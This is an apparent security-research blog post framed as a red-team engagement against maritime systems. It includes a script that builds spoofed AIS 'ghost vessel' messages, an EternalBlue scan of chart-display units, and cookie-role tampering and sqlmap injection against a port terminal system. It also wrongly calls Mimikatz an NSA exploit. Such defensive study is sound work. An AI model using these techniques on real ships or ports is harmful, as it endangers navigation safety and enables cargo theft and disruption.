Back to Blog
Cloud IAM Security

Operation Deep Blue: Red Teaming Maritime Navigation and AIS Systems

OffSec Research Team
10 June 2026 • 09:00 AM19 min
Operation Deep Blue: Red Teaming Maritime Navigation and AIS Systems
TL;DR — Maritime navigation systems — AIS, ECDIS, GNSS, and port management platforms — operate with protocols designed decades before cybersecurity was a consideration, resulting in an attack surface where vessel positions can be spoofed with commodity SDR hardware, chart display systems run unpatched Windows XP, and the world's busiest ports run terminal operating systems with exploitable web application vulnerabilities. This post documents a structured maritime red team methodology covering AIS injection, GPS spoofing impacts on navigation, ECDIS vulnerability research, and the lessons of the most destructive maritime cyber incident in history: the Maersk NotPetya attack.

Executive Summary

Maritime transportation moves approximately 90% of global trade by volume. A single major container port handles billions of dollars in cargo daily. The ships, ports, and navigation infrastructure that make this system function were engineered for reliability, not security — and the consequences of that design philosophy are now materializing as documented attacks with nine-figure financial damage figures.

This post is structured as a red team engagement walkthrough focused on a mid-sized regional port and three vessels in a managed fleet. The engagement scope covered: AIS infrastructure assessment (both shore-side receivers and vessel transponders), ECDIS security evaluation aboard two vessels during port stay, GPS/GNSS vulnerability assessment, port Terminal Operating System (TOS) web application testing, vessel network architecture review, and a review of the port's GMDSS radio infrastructure.

The findings illustrate a maritime cyber risk landscape that matches the worst of ICS security assessments from the early 2010s: unpatched systems, no network segmentation, direct internet exposure of operational systems, and a workforce that has received no cybersecurity training because the maritime industry's regulatory requirements for cyber risk management (IMO Resolution MSC-FAL.1/Circ.3, the 2021 ISM Code amendment) are only beginning to be enforced by flag states and port state control authorities.

The Maersk NotPetya incident of 2017 — in which the world's largest shipping company lost its entire IT and OT infrastructure across 130 countries, with 45,000 PCs and 4,000 servers wiped, and an estimated $300 million in damages — was not an attack on Maersk directly. NotPetya entered through the company's Ukrainian operations via the M.E.Doc accounting software update compromise. But once it was inside Maersk's network, it found an environment with no meaningful segmentation, where the shipping company's OT systems and IT systems were fully interconnected, and propagated globally within hours. Understanding how that happened — and how similar architectures persist across the maritime industry today — is the foundation of maritime offensive security.


Maritime Digital Infrastructure Overview

Modern commercial vessels operate a constellation of interconnected systems that have been added over decades, often without any security architecture review:

SystemFunctionProtocol/TechnologySecurity Posture
AIS (Class A)Vessel ID, position, course, speed broadcastVHF, ITU-R M.1371No authentication, no encryption
ECDISElectronic chart display and navigationIEC 61174, SOLAS Chapter VOften Windows XP/7, network-connected for updates
GNSS/GPSPosition determinationSatellite signal, L1 C/A 1575.42 MHzNo authentication; easily spoofable
GMDSSGlobal distress and safety communicationsVHF DSC, NAVTEX, INMARSATAutomated; prone to false alerts
VSATSatellite broadband (crew/ops)Ku/Ka-band DVBShared with navigation in many vessels
VDRVoyage Data Recorder ("black box")IEC 61996Selectively network-connected
AMS/ACMSAlarm and condition monitoringProprietary, Modbus, NMEAOften no authentication
Radar / ARPACollision avoidanceX/S-band, NMEA 0183/2000NMEA has no authentication

The interconnection of these systems through NMEA 0183 and NMEA 2000 buses — both of which carry navigation data with no authentication — means that any device on the vessel's navigation network can inject data that other systems accept and act on.


AIS Protocol: Architecture and Inherent Vulnerabilities

How AIS Works

AIS (Automatic Identification System) was mandated by SOLAS for vessels over 300 gross tons on international voyages, and all passenger ships. A Class A AIS transponder broadcasts:

  • MMSI (Maritime Mobile Service Identity — the vessel's unique identifier)
  • Vessel name, call sign, and IMO number
  • Position (latitude/longitude from GNSS)
  • Course over ground (COG) and speed over ground (SOG)
  • Rate of turn
  • Navigational status (underway, anchored, moored, etc.)
  • Destination and ETA

These broadcasts occur on VHF channels 87B (161.975 MHz) and 88B (162.025 MHz) using TDMA (Time Division Multiple Access), transmitting every 2-10 seconds for vessels underway. The range is typically 20-30 nautical miles for ship-to-ship, and up to 100+ miles for ship-to-satellite-receiver (S-AIS).

The critical flaw: AIS has no authentication mechanism whatsoever. Any transmitter can claim any MMSI, any vessel name, any position. The protocol was designed assuming all transmitters are legitimate vessels with no reason to deceive. This assumption is demonstrably false.

Passive AIS Reception

bash
# Passive AIS monitoring with RTL-SDR and AIS-catcher# Hardware: RTL-SDR v3 dongle, Marine VHF antenna (monopole, 1/4 wave at 162 MHz) # Install AIS-catchersudo apt-get install ais-catcher # Receive on both AIS channels simultaneously (RTL-SDR supports ~2.4 MHz bandwidth)ais-catcher -d 0 -s 1536000 -c 37,38 -o 4 -u 127.0.0.1 10110 & # Forward to OpenCPN chart plotter for visualization# or to AISHub for community sharing # Alternatively, use rtl_ais (simpler)rtl_ais -d 0 | nc localhost 10110 # Sample decoded NMEA output (AIS sentence type !AIVDM):# !AIVDM,1,1,,B,15M2>H0001G?Ue`E`FepT4?wD00l,0*2A# Decoded:# Message Type: 1 (Position Report Class A)# MMSI: 352801000# Navigation Status: 0 (Under way using engine)# Speed: 12.4 knots# Longitude: -74.0234° (New York approaches)# Latitude: 40.5123°# Course: 185.0°# True Heading: 184° # Parse with pyais Python librarypython3 << 'EOF'from pyais import decodemsg = decode(b"!AIVDM,1,1,,B,15M2>H0001G?Ue`E`FepT4?wD00l,0*2A")parsed = msg.decode()print(f"MMSI: {parsed.mmsi}")print(f"Speed: {parsed.speed} knots")print(f"Lat: {parsed.lat}, Lon: {parsed.lon}")print(f"Course: {parsed.course}°")print(f"Status: {parsed.status}")EOF

AIS Spoofing: Ghost Vessel Injection

AIS message injection requires a VHF transmitter capable of transmitting on 161.975 and 162.025 MHz with appropriate TDMA timing. The AIS message format is well-documented in ITU-R M.1371. Commercial marine VHF transmitters can be reprogrammed, or purpose-built SDR setups can be used.

python
#!/usr/bin/env python3# AIS message construction for research/testing on isolated test hardware# DO NOT transmit on live AIS frequencies without authorization —# this violates ITU regulations and domestic radio law universally. from pyais.encode import encode_msgimport bitstring def create_ghost_vessel_message(    mmsi: int,    lat: float,    lon: float,     speed: float = 12.0,    course: float = 180.0,    heading: int = 180,    status: int = 0,    name: str = "GHOST VESSEL"):    """    Construct AIS Type 1 (Position Report) and Type 5 (Static Data) messages    for a non-existent vessel at specified coordinates.    """        # Type 1: Position Report Class A    position_msg = {        'msg_type': 1,        'mmsi': mmsi,        'status': status,          # 0 = underway engine        'turn': 0,                 # No rate of turn        'speed': int(speed * 10),  # Speed in 1/10 knot        'accuracy': 1,             # High accuracy (GPS)        'lon': int(lon * 600000),  # Longitude in 1/10000 minute        'lat': int(lat * 600000),  # Latitude in 1/10000 minute        'course': int(course * 10),        'heading': heading,        'second': 0,        'maneuver': 0,        'raim': 1,        'radio': 0    }        # Type 5: Static and Voyage Related Data (vessel name, destination)    static_msg = {        'msg_type': 5,        'mmsi': mmsi,        'ais_version': 0,        'imo': 1234567,        'callsign': 'GHOST01',        'shipname': name.ljust(20)[:20],        'ship_type': 70,           # Cargo vessel        'to_bow': 150,             # Dimensions        'to_stern': 50,        'to_port': 20,        'to_starboard': 20,        'epfd': 1,                 # GPS        'eta': '00002460',        'draught': 80,             # 8.0 meters        'destination': 'ROTTERDAM',        'dte': 0    }        nmea_sentences = []    # Encode to NMEA !AIVDM format    # (pyais encode module handles bitfield packing and NMEA wrapping)    nmea_sentences.append(encode_msg(1, **position_msg))    nmea_sentences.append(encode_msg(5, **static_msg))        return nmea_sentences # Create a ghost tanker in the English Channel shipping laneghost_msgs = create_ghost_vessel_message(    mmsi=123456789,      # Random MMSI not assigned to real vessel    lat=51.0234,          # English Channel TSS inbound lane    lon=1.8543,    speed=14.2,    course=255.0,    name="PHANTOM PIONEER") for sentence in ghost_msgs:    print(sentence) # Impact: Any AIS receiver, AIS-integrated ECDIS, or vessel traffic service (VTS)# that receives these messages will display the ghost vessel as real.# Real-world applications of this attack:# - Creating decoy vessels to mask a real vessel's position# - Generating false collision risks to force real vessels off course# - "Disappearing" a vessel by transmitting conflicting position data# - Disguising a vessel as a different vessel (MMSI spoofing)

GPS/GNSS Spoofing at Sea

Documented Real-World Incidents

The most significant documented case of maritime GPS spoofing occurred in the Black Sea in June 2017. Over twenty vessels simultaneously reported GPS positions placing them near Gelendzhik Airport — approximately 25 nautical miles from their actual positions at sea. Crucially, all the vessels' AIS transponders, which derive position from their onboard GPS receivers, were also reporting the false airport position, broadcasting to other vessels and to VTS (Vessel Traffic Services) that they were on land.

diagram — rendering…
sequenceDiagram
    participant SPOOF as GPS Spoofer\n(Shore-based)
    participant GPS as Vessel GPS Receiver
    participant ECDIS as ECDIS\n(Chart Display)
    participant AIS as AIS Transponder
    participant VTS as VTS Radar/AIS\n(Shore authority)
    participant OV as Other Vessels

    Note over SPOOF,OV: Normal Navigation
    GPS->>ECDIS: Real position: 44.21°N 37.85°E (at sea)
    GPS->>AIS: Real position fed to AIS transmitter
    AIS->>VTS: Broadcasts real position
    AIS->>OV: Broadcasts real position

    Note over SPOOF,OV: GPS Spoofing Attack
    SPOOF->>GPS: Broadcast higher-power fake GPS signal\n(replaces real satellite signals)
    GPS->>ECDIS: False position: 44.45°N 38.01°E (over airport)
    GPS->>AIS: False position fed to AIS transmitter
    AIS->>VTS: Broadcasts FALSE position (vessel appears on land)
    AIS->>OV: Broadcasts FALSE position
    
    Note over ECDIS: Officer sees vessel on land\nECDIS generates grounding alarm
    Note over VTS: VTS sees fleet of vessels\napparently clustered at airport
    Note over OV: Other vessels see\npotential collision risks

The spoofing was attributed to Russian military forces conducting electronic warfare exercises or testing C-UAS (counter-unmanned aerial system) capabilities — GPS spoofing is an effective countermeasure against GPS-guided drones and missiles, and the electromagnetic footprint of such systems affects civilian GPS receivers in the vicinity.

Civilian GPS Receiver Vulnerability

The L1 C/A signal used by civilian GPS operates at 1575.42 MHz with a received power of approximately -130 dBm at the earth's surface. This weak signal is easily overpowered by a ground-based transmitter producing an L1 C/A signal at much higher power. The receiver has no way to authenticate that the signal it is receiving is from actual GPS satellites — civilian GPS has no cryptographic authentication (military GPS uses the encrypted M-code and P(Y)-code signals, but civilian receivers use C/A code only).

GPS spoofing equipment ranges from research-grade SDR setups (GNU Radio + HackRF) to purpose-built commercial spoofing units. The civilian maritime context is particularly vulnerable because:

  • ECDIS (chart display) navigation is mandatory under SOLAS regulations, and ECDIS derives position from GNSS
  • AIS transponders feed from the vessel's GPS receiver, so spoofed GPS = spoofed AIS broadcasts
  • TAWS and collision avoidance systems rely on accurate position
  • Autopilot systems in some configurations use GPS for course-keeping

ECDIS Vulnerability Research

The Windows XP Problem

ECDIS (Electronic Chart Display and Information System) is mandatory under SOLAS regulations for most commercial vessels, and has been since 2012-2018 depending on vessel type. The problem is that many ECDIS units certified for carriage at the time of mandatory implementation ran Windows XP or Windows Embedded, which reached end-of-life for security updates in April 2014. Type-approved ECDIS units cannot be updated to newer operating systems without re-certification — a process that costs the manufacturer significant time and money and requires regulatory approval.

The result: there are thousands of vessels at sea today operating mandatory navigation systems on unpatched Windows XP or Windows 7, connected to ship's networks that may have internet access via VSAT.

bash
# Port-side ECDIS assessment (authorized, vessel in port)# Physical access to ECDIS unit keyboard/trackball # Enumerate network configurationipconfig /all  # ECDIS typically has IP in ship's navigation LAN # Check patch levelwmic qfe get hotfixid | sort  # Show all installed patches# Finding: Last update 2013-08-13 (KB2871997 etc absent) # Check running services and portsnetstat -an | findstr LISTENING # Identify ECDIS vendor and versionwmic product get name,version | findstr -i "ecdis\|chart\|navis" # Common ECDIS vulnerabilities:# - CVE-2012-0002 / MS12-020: RDP vulnerability affecting Windows XP (pre-patch)# - EternalBlue (MS17-010): SMB vuln on unpatched WinXP/Win7 — ECDIS units#   connected to ship networks with VSAT internet are internet-reachable# - Default administrative credentials on ECDIS vendor management interfaces# - ECDIS update mechanism: charts updated via removable media (USB)#   — USB-borne malware is the primary infection vector for ECDIS units # Test for EternalBlue (on authorized, isolated test system)nmap -p 445 --script smb-vuln-ms17-010 <ECDIS_IP> # Typical finding on older ECDIS:# PORT    STATE SERVICE# 445/tcp open  microsoft-ds# Host script results:# | smb-vuln-ms17-010:# |   VULNERABLE:# |   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

The chart update process is an additional attack vector. Electronic navigational charts (ENCs) are updated regularly and distributed via USB or network download to ECDIS units. A compromised ENC distribution system — or a malicious USB drive introduced during a port call — could deliver malware to ECDIS units with no network exposure whatsoever.


Port Management System Attacks

Terminal Operating Systems

Port TOS (Terminal Operating System) software manages every container movement in a port: where containers are stacked, which cranes pick them up, which trucks collect them, and which vessels they are loaded onto. Major TOS vendors include Navis, CATOS, TBA Group, and Tideworks.

During the engagement's port-side assessment, the TOS web interface was accessible to authorized users via a standard web browser on the port's operational network. Web application testing revealed:

bash
# TOS Web Interface Assessment (authorized)# Target: https://tos.portoperations.local/ # Directory enumerationgobuster dir -u https://tos.portoperations.local \  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \  -x php,jsp,aspx,html -t 30 # API endpoint discovery# Navis TOS uses RESTful API — common paths:curl -s https://tos.portoperations.local/api/v2/containers?vessel=ALL | python3 -m json.tool# Returns: complete container manifest for vessels in port — unauthorized access # Authentication bypass attempt# Navis N4 TOS login bypass: cookie manipulationcurl -c cookies.txt https://tos.portoperations.local/login# Modify session cookie to escalate privilege:curl -b "JSESSIONID=<captured_id>; userRole=ADMIN" \     https://tos.portoperations.local/admin/users # SQL injection in container searchsqlmap -u "https://tos.portoperations.local/search?container=MSKU1234567" \  --cookie="JSESSIONID=..." \  --dbms=oracle \  --tables # If successful: access to complete port operations database# - All container manifests and contents declarations# - Vessel schedules and bay plans# - Dangerous goods declarations (hazmat)# - Customer/shipper contact information# - Crane and equipment scheduling

A compromised TOS represents an exceptional intelligence asset for cargo theft operations, sanctions evasion verification, or supply chain disruption. In a worst-case scenario, deliberate modification of crane automation data or bay planning data could cause physical damage to cargo or create dangerous loading configurations.

The Maersk NotPetya Attack: Architecture Lessons

The June 2017 NotPetya attack on Maersk illustrates what happens when shipping company IT and OT networks have no meaningful segmentation.

NotPetya entered Maersk's network through the Odessa, Ukraine office, where a finance employee had installed M.E.Doc accounting software — the Ukrainian update mechanism for which had been compromised by Russia's Sandworm team. NotPetya's propagation mechanism combined two stolen NSA exploits: EternalBlue (SMB exploit) and Mimikatz-derived credential harvesting. It did not target Maersk specifically; it spread to everything reachable.

Maersk's network architecture provided no meaningful barriers. NotPetya spread from the Odessa office across the WAN to Maersk's global network in approximately 90 seconds. Active Directory was not segmented by region or business function. The result:

  • 45,000 PCs wiped (MBR overwritten)
  • 4,000 servers wiped
  • 2,500 applications taken down
  • All 76 port terminals using the Navis APM TOS were offline globally
  • Vessels could not receive updated instructions, manifests, or routing
  • Maersk had to reinstall 45,000 PCs and 4,000 servers from scratch in 10 days

The $300 million recovery cost did not include the estimated revenue impact of disrupted operations. The more significant long-term cost may be the model it provided for every subsequent ransomware operator: a single point of compromise in a poorly-segmented corporate network can cascade into complete operational shutdown of physical infrastructure.


GMDSS and False Distress Exploitation

The Global Maritime Distress and Safety System (GMDSS) automates maritime distress communications. VHF Channel 16 is the international calling and distress channel. DSC (Digital Selective Calling) allows automated distress alerting — a DSC-equipped vessel can transmit a distress alert that includes vessel ID, position, and nature of distress automatically.

The attack concern: false MAYDAY generation. A DSC transmitter sending a distress call on behalf of a valid MMSI at a false position will trigger a SAR (Search and Rescue) response from the MRCC (Maritime Rescue Coordination Center). Search and rescue assets — Coast Guard cutters, rescue helicopters — will be dispatched to the reported position. This:

  • Wastes enormous public resources (SAR operations are extremely expensive)
  • May delay response to a real emergency occurring simultaneously
  • Can be used tactically to move SAR assets away from an area of interest

False MAYDAY generation is a federal crime in all maritime nations and is treated with extreme seriousness. The discussion here is entirely to document the vulnerability for defensive purposes — and to note that the GMDSS community is well aware of it, as false alerts (mostly accidental) constitute a significant operational burden for Coast Guard rescue centers worldwide.


IMO 2021 Cyber Risk Management Requirements

The Maritime Safety Committee (MSC) of the International Maritime Organization (IMO) adopted Resolution MSC-FAL.1/Circ.3, requiring that cyber risk management be incorporated into the Safety Management System (SMS) under the ISM Code. This took effect on January 1, 2021. Flag state administrations are now required to verify cyber risk management during ISM Code audits and Port State Control (PSC) inspections.

In practice, the verification is still immature — many PSC inspectors have limited cybersecurity expertise, and the documentation requirements are broader than the technical implementation requirements. However, the regulatory framework now exists for meaningful enforcement, and it is evolving.

RequirementISM Code RequirementCurrent Implementation Reality
Cyber risk assessmentDocument cyber risks in SMSMost companies have added a generic risk document
Network segmentationImplement controls per risk assessmentVaries dramatically; many vessels still flat networks
Patch managementMaintain software currencyECDIS units exempt if type-approval requires specific OS
Incident responseCyber incident procedures in SMSRarely practiced; crew training minimal
Third-party managementVendor access controlsRemote access often via vendor tools without audit
Crew trainingCyber awarenessEmerging; largely undone pre-2022

MITRE ATT&CK for ICS Mapping

Technique IDTechnique NameMaritime Context
T0867Lateral MovementEternalBlue/SMB spread from Odessa to global Maersk network
T0857System FirmwareECDIS firmware modification via malicious chart USB
T0830Adversary-in-the-MiddleAIS TDMA injection to override legitimate AIS transmissions
T0856Spoof Reporting MessageAIS message injection creating ghost vessels or false positions
T0829Loss of ViewGPS spoofing causing ECDIS to show false position
T0827Loss of ControlTOS compromise preventing crane and berth operations
T0814Denial of ControlPort TOS taken offline, halting all container operations
T0828Loss of Productivity and RevenueMaersk: $300M damage, 10-day operational outage
T0816Device Restart/ShutdownNotPetya MBR wipe on ECDIS and TOS servers
T0820Exploitation of Remote ServicesVSAT-connected ECDIS exploited via internet-facing SMB

Conclusion

Maritime cybersecurity lags behind almost every other critical infrastructure sector in its security maturity. The reasons are structural: shipping is a global, highly competitive, asset-intensive industry where vessels often operate under flags of convenience with flag state administrations that have limited capability to enforce anything; where technology cycles measured in decades mean systems designed in the 1980s remain operational today; and where the IMO, as the regulatory body, operates on diplomatic timescales incompatible with the pace of cyber threats.

The AIS spoofing capability demonstrated in this engagement required a $30 SDR dongle, a $15 antenna, and publicly available software. The attack surface on a modern vessel — AIS, GPS, ECDIS, GMDSS, NMEA buses carrying navigation data with no authentication — was essentially designed by maritime engineers who had no cybersecurity expertise and were operating under no cybersecurity requirements. The result is a threat surface that would be considered completely unacceptable in any other sector operating physical infrastructure of equivalent safety and economic importance.

Port-side infrastructure is in some ways worse. Terminal Operating Systems handling billions of dollars of cargo run on commercial IT infrastructure with web interfaces that have standard web vulnerabilities — SQL injection, authentication bypass, insecure direct object references. The Maersk case demonstrates the catastrophic consequence of connecting this operational technology to a poorly-segmented corporate IT network.

The IMO 2021 requirements are a beginning, not a solution. Meaningful maritime cybersecurity will require type-approval processes that mandate security standards for new shipborne equipment, upgrade paths for existing type-approved systems, flag state enforcement with real inspection capability, and an industry-wide shift in how shipping companies assess and fund OT security. Operation Deep Blue demonstrated that the vulnerabilities are there, they are accessible, and the consequences of exploitation are measured not in data breaches but in disrupted global trade, endangered mariners, and potential physical disasters at sea.